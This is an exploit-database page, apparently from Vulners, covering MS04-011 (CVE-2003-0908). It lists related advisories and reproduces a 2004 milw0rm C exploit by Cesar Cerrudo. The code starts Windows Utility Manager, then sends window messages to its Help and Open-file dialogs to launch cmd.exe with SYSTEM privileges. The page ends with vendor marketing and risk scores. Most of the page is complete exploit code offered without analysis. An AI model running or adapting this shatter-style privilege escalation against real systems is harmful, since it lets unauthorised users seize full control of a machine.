Microsoft Windows Utility Manager - Local Privilege Escalation (MS04-011)
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2003-0908 | 16 Apr 200404:00 | – | cve | |
| CVE-2003-0908 | 16 Apr 200404:00 | – | cvelist | |
| EUVD-2003-0898 | 7 Oct 202500:30 | – | euvd | |
| CVE-2003-0908 | 1 Jun 200404:00 | – | nvd | |
| Microsoft Windows MS04-011 Security Check | 15 Mar 200900:00 | – | openvas | |
| Microsoft Security Bulletin MS04-011 | 14 Apr 200400:00 | – | securityvulns | |
| US-CERT Technical Cyber Security Alert TA04-104A -- Multiple Vulnerabilities in Microsoft Products | 14 Apr 200400:00 | – | securityvulns | |
| [VulnWatch] [SHATTER Team Security Alert] Microsoft Windows Utility Manager Vulnerability | 15 Apr 200400:00 | – | securityvulns | |
| Microsoft Window Utility Manager Local Elevation of Privileges | 14 Jul 200400:00 | – | securityvulns | |
| MS04-011: Microsoft Hotfix (credentialed check) (835732) | 13 Apr 200400:00 | – | nessus |
10
// By Cesar Cerrudo cesar appsecinc com
// Local elevation of priviliges exploit for Windows Utility Manager
// Gives you a shell with system privileges
// If you have problems try changing Sleep() values.
#include <stdio.h>
#include <windows.h>
#include <commctrl.h>
#include <Winuser.h>
int main(int argc, char *argv[])
{
HWND lHandle, lHandle2;
POINT point;
char sText[]="%windir%\\system32\\cmd.ex?";
// run utility manager
system("utilman.exe /start");
Sleep(500);
// execute contextual help
SendMessage(FindWindow(NULL, "Utility manager"), 0x4D, 0, 0);
Sleep(500);
// open file open dialog windown in Windows Help
PostMessage(FindWindow(NULL, "Windows Help"), WM_COMMAND, 0x44D, 0);
Sleep(500);
// find open file dialog window
lHandle = FindWindow("#32770","Open");
// get input box handle
lHandle2 = GetDlgItem(lHandle, 0x47C);
Sleep(500);
// set text to filter listview to display only cmd.exe
SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
Sleep(800);
// send return
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
//get navigation bar handle
lHandle2 = GetDlgItem(lHandle, 0x4A0);
//send tab
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
Sleep(500);
lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
//get list view handle
lHandle2 = GetDlgItem(lHandle2, 0x1);
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
Sleep(500);
// popup context menu
PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
Sleep(1000);
// get context menu handle
point.x =10; point.y =30;
lHandle2=WindowFromPoint(point);
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return
SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
return(0);
}
// milw0rm.com [2004-04-15]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
15 Apr 2004 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.25938